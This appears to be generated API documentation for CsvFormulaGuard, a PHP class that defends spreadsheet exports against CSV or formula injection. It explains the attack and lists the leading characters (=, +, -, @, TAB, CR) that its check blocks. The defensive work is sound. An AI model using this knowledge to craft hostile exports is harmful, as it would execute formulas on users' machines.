CsvFormulaGuard
in package
Escapes cells before they land in a CSV/TSV export.
Excel, LibreOffice Calc, and Google Sheets treat any cell whose
first character is one of =, +, -, @, TAB (\t), or CR (\r)
as a formula expression — opening a hostile export evaluates that
formula in the user's spreadsheet (CVE-class issue often called
"CSV injection" or "formula injection"). User-supplied dictionary
entries or term translations starting with those characters would
trigger arbitrary formula execution.
Mitigation: prepend a single quote (') to any cell that starts
with one of those characters. The quote is consumed by Excel as a
"treat as text" marker and is invisible in the displayed cell; it
does show up in plain-text consumers but that is the lesser evil
versus formula execution.
Tags
Table of Contents
Constants
- DANGEROUS_LEADING = ['=', '+', '-', '@', "\t", "\r"]
- Characters that, when leading, cause Excel/Calc/Sheets to treat the cell as a formula. \x09 = TAB, \x0D = CR.
Methods
- escapeCell() : string
- Escape a single cell value before writing it to a CSV/TSV row.
Constants
DANGEROUS_LEADING
Characters that, when leading, cause Excel/Calc/Sheets to treat the cell as a formula. \x09 = TAB, \x0D = CR.
private
mixed
DANGEROUS_LEADING
= ['=', '+', '-', '@', "\t", "\r"]
Methods
escapeCell()
Escape a single cell value before writing it to a CSV/TSV row.
public
static escapeCell(string $cell) : string
Empty strings are returned untouched. The escape is one byte —
' is prepended — which spreadsheet apps recognize as a
"force text" marker. Safe to call on already-escaped values
(the leading ' itself isn't in the dangerous set).
Parameters
- $cell : string
-
Raw cell value
Return values
string —Cell with leading single quote if it would otherwise trigger a formula